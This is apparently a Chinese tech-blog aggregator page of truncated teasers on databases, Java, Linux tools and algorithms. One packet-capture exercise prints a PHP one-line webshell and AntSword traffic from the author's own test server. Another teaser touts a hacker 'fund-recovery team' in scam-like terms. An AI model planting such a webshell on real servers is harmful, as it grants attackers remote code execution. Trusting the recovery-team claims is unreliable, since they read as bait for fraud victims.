分布式缓存Redis的集群-主从复制

1.复制   通过持久化功能,Redis保证了即使在服务器重启的情况下可以减少数据的损失,但是出现单点故障也会让数据丢失Redis不可用。所以Redis提供了复制功能,可以实现一台数据库的数据更新后,自动将更新的数据同步到其他的数据库上。 2.配置主从数据库   在复制的概念中,数据库分为两类,一类是主数据库,另一类是从数据库。主数据库可以进行读写操作,当写操作导致数据变化时会自动将数据同步到从数据库中。而从数据库一般都是只读的,并接受主数据库同步过来的数据。一个主数据可以拥有多个从数据库,但
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

MYSQL事务的概念和事务处理方法

MySQL 事务主要用于处理操作量大,复杂度高的数据。比如说,在人员管理系统中,你删除一个人员,你既需要删除人员的基本资料,也要删除和该人员相关的信息,如信箱,文章等等,这样,这些数据库操作语句就构成一个事务! 1,事务的概念 一般来说,事务是必须满足4个条件(ACID)::原子性(Atomicity,或称不可分割性)、一致性(Consistency)、隔离性(Isolation,又称独立性)、持久性(Durability)。 原子性:一个事务(transaction)中的所有操作,要么全部完
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

slow-log对mysql性能的影响

测试方案 在不加slow-log和加上slow-log对比mysql的性能 加slow-log的设置 mysql环境变量设置 set GLOBAL log_output = 'FILE,TABLE'; set GLOBAL long_query_time = 0; crontab -e设置定时跑脚本go-collect-slowlog-linux * * * * * cd /home/houbin/ && ./go-collect-slowlog-linux -dataSource "admi
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

服务器运维抓包练习

1.抓包学习 用tcpdump抓包 tcpdump port 80 -w 1.pcap 用前几天给计网老师搭的上传环境hh 传了一个一句话木马上去 <?php @eval($_POST[value]);?> 包下来了,看一眼 直接追踪流,可以看到这个上传的文件 这个配置出了点小问题,影响不大。 用蚁剑连一下子,再抓一下流量,可以看到这个流量 /www/wwwroot/175.24.78.155/index.html& value=@ini_set("display_errors", "0
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

【Linux】11 RPM & YUM 管理工具 介绍

rpm包的管理 介绍: 一种用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。 它生成具有.RPM扩展名的文件。RPM是RedHat Package Manager(RedHat软件包管理工具)的缩写,类似 windows的setup.exe,这一文件格式名称虽然打上了RedHat的标志,但理念是通用的。 Linux的分发版本都有采用(suse,redhat, centos 等等),可以算是公认的行业标准了。 rpm包的简单查询指令: 查询已安装的rpm列表 rpm –qa|g
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

论文阅读|EfficientDet Scalable and Efficient Object Detection

GitHub:https://github.com/google/automl/tree/master/efficientdet 摘要   本文提出了双向的特征金字塔网络,合理调整网络的深度和宽度。单模型单尺度,EfficientDet D7在COCO 就能达到52.2AP 仅用52M的参数量,比之前检测器小4~9倍。              1.Introduction: 使检测网络更有效的一些方法: (1)单阶段 (2)Anchor free:   Cornernet: Detectin
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

Vagrant命令笔记(正在写)

Vagrant命令 vagrant box add list outdated prune remove repackage update 添加box vagrant box add ADDRESS --box-version VALUE # 指定要添加的版本,默认是最新版本 --cacert CERTFILE # 用于验证对方的证书,如果不使用标准的根CA,需要指定此选项 --capath CERTDIR # 用于验证对方的证书CA目录,如果远端不使用标准的根CA,需要指定此选项 --cer
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

Java—线程的生命周期及线程控制方法详解

线程生命周期5种状态 介绍   线程的生命周期经过新建(New)、就绪(Runnable)、运行(Running)、阻塞(Bolocked)和死亡(Dead) 状态转换图 新建(New)   程序使用new关键字创建一个线程之后,该线程就处于新建状态,仅仅由Java虚拟机为其分配内存,并初始化其成员变量的值。不会执行线程的线程执行体。如Thread thread = new Thread()。 就绪(Runnable)   也称为“可执行状态”,线程对象调用start()方法后,该线程处于就绪
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

mysql笔记(11)-约束的添加、修改和删除

本文将简单介绍几种常见的约束类型,以及添加/修改/删除约束的方式 一、约束类型 在MySQL中,有如下几种约束: (1) NOT NULL:指示某列不能存储空值 (2) UNIQUE:保证某列的每行必须有唯一的值 (3) PRIMARY KEY:指示某一列为表的主码,是非空且唯一的 (4) CHECK:保证列中的值符合指定的条件 (5) DEFAULT:规定没有给列赋值时的默认值 (6) FORIGN KEY:保证列中的数据必须来源于另一个表的某一列(参照完整性) 二、添加约束 1、建表时添加
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

链表的c语言实现与c++实现

数据结构书中代码,未检验 头文件: #ifndef List_H struct Node; typedef struct Node *PtrToNode; typedef PtrToNode List; typedef PtrToNode Position; List MakeEmpty(List L); int IsEmpty(List L); int IsLast(Position p,List L); Position Find(int x,List L); void Delete(
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

【算法】最短路 - Floyd算法

Floyd算法 计算含负权的图上的多源最短路,原理是动态规划。 设\(D_{i,j,k}\)为从\(i\)到\(j\)的只以\((1...k)\)集合中的结点为中间结点的最短路的长度。 1.若最短路经过点\(k\),则\(D_{i,j,k}=D_{i,k,k-1}+D_{k,j,k-1}\); 2.若最短路不经过点\(k\),则\(D_{i,j,k}=D_{i,j,k-1}\) 因此,\(D_{i,j,k}=min(D_{i,j,k-1},D_{i,k,k-1}+D_{k,j,k-1})\)
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

2020做Java的都看这篇文章,面试一次过、升职加薪,赶快来Get

前言 2020已经快要过去大半年了,金三银四已过,你是否抓住了这个机会,找到了好工作薪资福利上涨,经过之前的情况,你是否还要错过下一次招聘季。 如果你有想法那么就将要提前准备一下啦。跳槽时时刻刻都在发生,找准方向一击击破,拿到自己满意的offer 为了让更多的伙伴面试成功,我制作了一份面试手册 制作这个面试手册差不多花了3个多月时间,过程还是比较磨人的,但是也很期待。现在我把这个手册分享给大家,搜集了大量的面试题,已经整理成了一个Java面试手册PDF,《Java面试1314页》,目前有50多
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

一起学Java(四十四)----- instanceof关键字

不积跬步,无以至千里;不积小流,无以成江海。 Java语言基础 Java的instanceof关键字 用来测试一个对象是否为一个类的实例,格式: boolean result = obj instanceof Class 其中 obj 为一个对象,Class 表示一个类或者一个接口,当 obj 为 Class 的对象,或者是其直接或间接子类,或者是其接口的实现类,结果result 都返回 true,否则返回false。 注意: 1. obj 必须为引用类型,不能是基本类型; int i =
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

sql索引优化错误问题

  本周优化的sql索引,发到线上后发现反而查询效率变低了,仔细研究后发现索引选择器还是选择错误了。   sql语句:where语句使用了主键id>?和时间索引mtime > ? and mtime < ?   1、修改之前:使用强制索引force index,指定了mtime   慢查询的原因:脚本第一次查询使用mtime索引确实正确,但是第一次查询后会将主键id查到,然后根据主键id去查,但是强制索引了时间后,每一次都循环了一天的数据去查,导致后面的效率变慢   2、本次修改:使用强制索引
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

分布式事务提交 - db 代理

之前做 toC 的项目时,有做过一个分布式 db 的代理层,内部的很多东西都是很有意思。本来最初是想要做一个大表添加字段的工具,但做着做着,有同事提出能不能添加一些自动分表的功能,从这一步开始,就让这个项目从原本的工具,变成了一个代理层的分布式 db。大致的功能包含了一层双缓存(LRU 队列和 redis 缓存)、id 生成器(mysql 的自增 id 不利于分表扩容、使用指定主键,又一定程度降低了写入的效率)、分表代理(按主键 hash)、添加列(非锁表)、动态分表(非锁表)。开发过程中也遇
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

HihoCoder1078-线段树的区间修改-线段树区间修改、查询-模板题

题意: 中文题、板子题。 AC代码: 1 #include<iostream> 2 #include<stdio.h> 3 #include<map> 4 #include<algorithm> 5 #include<queue> 6 #include<stack> 7 #include<cmath> 8 #include<string.h> 9 10 using namespace std; 11 #define mem(p,b) memset(p,
分类: 其他 发布时间: 05-19 21:10 阅读次数: 0

网上流传红客大户追款团队教你如何挽回损失:靠谱吗

户追款这个名字大家可能不是很清楚,但是在我们***世界里,无人不知。曾经利用***技术解救下一位 花季少女的性命,即使行内也很少人知道大户追款到底用的是什么样的***工具,如果你想成为大户追款一 样厉害的人,下面我们就一起来看一下大户追款曾经用的都是什么工具。
分类: 企业开发 发布时间: 05-19 21:00 阅读次数: 0

Java并发编程:线程池ThreadPoolExecutor

  多线程的程序的确能发挥多核处理器的性能。虽然与进程相比,线程轻量化了很多,但是其创建和关闭同样需要花费时间。而且线程多了以后,也会抢占内存资源。如果不对线程加以管理的话,是一个非常大的隐患。而线程池的目的就是管理线程。当你需要一个线程时,你就可以拿一个空闲线程去执行任务,当任务执行完后,线程又会归还到线程池。这样就有效的避免了重复创建、关闭线程和线程数量过多带来的问题。 Java并发包提供的线程池 注:摘自《实战Java高并发程序设计》   如图是Java并发包下提供的线程池功能。其中Ex
分类: 其他 发布时间: 05-19 20:54 阅读次数: 0

Spark性能优化一

由于Spark的计算本质是基于内存的,所以Spark性能程序的性能可能因为集群中的任何因素出现瓶颈:CPU、网络带宽、或者是内存。如果内存能够容纳得下所有的数据,那么网络传输和通信就会导致性能出现瓶颈。但是如果内存比较紧张,不足以放下所有的数据(比如在针对10亿以上的数据量进行计算时),还是需要对内存的使用进行性能优化的,比如说使用一些手段来减少内存的消耗。 Spark性能优化,其实主要就是在于对内存的使用进行调优。因为通常情况下来说,如果你的Spark应用程序计算的数据量比较小,并且你的内存
分类: 其他 发布时间: 05-19 20:54 阅读次数: 0

敏捷开发与持续集成

敏捷开发(Agile Development)的核心是迭代开发(Iterative Development)与增量开发(Incrementtal Development). 敏捷开发以用户的需求进化为核心,采用迭代、循序渐进的方法进行软件开发。在敏捷开发中,软件项目在构建初期被切分成多个子项目,各个子项目的成果都经过测试,具备可视、可集成和可运行使用的特征。换言之,就是把一个大项目分为多个相互联系,但也可独立运行的小项目,并分别完成,在此过程中软件一直处于可使用状态。 持续继承 CI:Cont
分类: 其他 发布时间: 05-19 20:54 阅读次数: 0